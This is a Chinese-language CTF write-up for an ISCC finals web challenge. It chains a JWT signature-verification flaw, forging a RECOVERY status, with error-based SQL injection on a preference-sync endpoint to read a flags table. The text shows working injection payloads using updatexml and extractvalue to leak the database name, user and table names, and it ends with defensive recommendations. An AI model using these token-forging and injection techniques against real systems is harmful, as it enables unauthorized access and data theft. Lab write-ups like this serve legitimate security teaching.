ISCC 决赛账号恢复大冒险:JWT 验签缺陷与 SQL 注入
一、题目背景
题目描述围绕“账号恢复”流程展开。整体思路不是爆破账号密码,而是从登录状态、恢复态身份和恢复接口中寻找逻辑缺陷。
最终利用链:
1 | 注册普通账号 -> 获取 JWT -> 篡改 status 为 RECOVERY -> 进入恢复态接口 -> SQL 报错注入 -> 读取 flags 表 |
二、信息收集
访问站点后可以看到普通登录和注册功能:
1 | /login |
注册并登录普通用户后,服务端下发名为 token 的 JWT Cookie。解码后可以看到类似字段:
1 | { |
其中 status 字段非常关键。题目主题是账号恢复,因此优先猜测恢复流程可能依赖该字段判断当前用户状态。
三、JWT 验签缺陷
将 JWT payload 中:
1 | "status": "NORMAL" |
修改为:
1 | "status": "RECOVERY" |
并且不重新签名,只保留原来的签名部分,服务端仍然接受该 token。
这说明后端存在 JWT 使用问题:
- 只解码 JWT 内容。
- 没有正确校验签名。
- 客户端可以篡改身份状态。
当 status=RECOVERY 后,可以访问恢复流程相关页面和接口。
四、恢复接口分析
恢复页中存在偏好同步接口:
1 | POST /api/v1/user/sync |
请求体类似:
1 | { |
页面提示需要尝试不同主题值验证身份,因此怀疑 theme 参数参与后端 SQL 查询。
五、SQL 注入确认
向 theme 传入单引号:
1 | ' |
接口返回 SQL 报错,说明输入破坏了原 SQL 结构。
继续测试字段数量:
1 | x' ORDER BY 1-- |
ORDER BY 2 返回未知列错误,说明原始查询结构较简单。
使用 MariaDB/MySQL 报错函数测试:
1 | x' AND updatexml(1,concat(0x7e,database(),0x7e),1)-- |
回显得到数据库名:
1 | jwt_downgrade |
继续测试当前数据库用户:
1 | x' AND extractvalue(1,concat(0x7e,user(),0x7e))-- |
回显:
1 | app_user@localhost |
说明该接口存在 error-based SQL injection。
六、利用细节
这里有一个容易踩的点:不要先访问 /recovery 页面再打注入。
如果先访问恢复页面,服务端可能生成临时数据库访问凭证,并让接口优先返回另一类错误,导致 updatexml 的报错内容被覆盖。
稳定流程:
1 | 登录拿普通 JWT |
七、枚举数据库
枚举当前库表名:
1 | x' AND updatexml(1,concat(0x7e, |
回显表:
1 | temp_credentials,users,flags |
读取 flags 表字段:
1 | x' AND updatexml(1,concat(0x7e, |
最后读取 flag 字段即可。
八、漏洞总结
这道题的核心不是单独的 SQL 注入,而是两个漏洞串联:
| 环节 | 漏洞 |
|---|---|
| 身份状态 | JWT 未正确验签 |
| 恢复接口 | theme 参数存在 SQL 注入 |
| 结果获取 | 报错注入回显数据库内容 |
如果只看普通用户接口,可能找不到注入点;只有先通过 JWT 进入恢复态,才能访问关键接口。
九、防护建议
- JWT 必须使用服务端密钥严格验签。
- 不信任客户端传来的身份状态字段。
- 恢复流程应在服务端维护状态,不应完全依赖 token payload。
- SQL 查询使用预编译语句。
- 关闭生产环境数据库详细报错。
- 对敏感接口增加权限校验和操作审计。
十、复盘
这题很适合练习“逻辑漏洞 + 注入”的组合分析。做题时不能只盯输入框,还要关注登录态、Cookie、JWT、用户状态和隐藏业务流程。
完整攻击链说明:一个看似普通的 token 字段篡改,可能成为进入高危接口的入口;而高危接口中的 SQL 注入,最终完成敏感数据读取。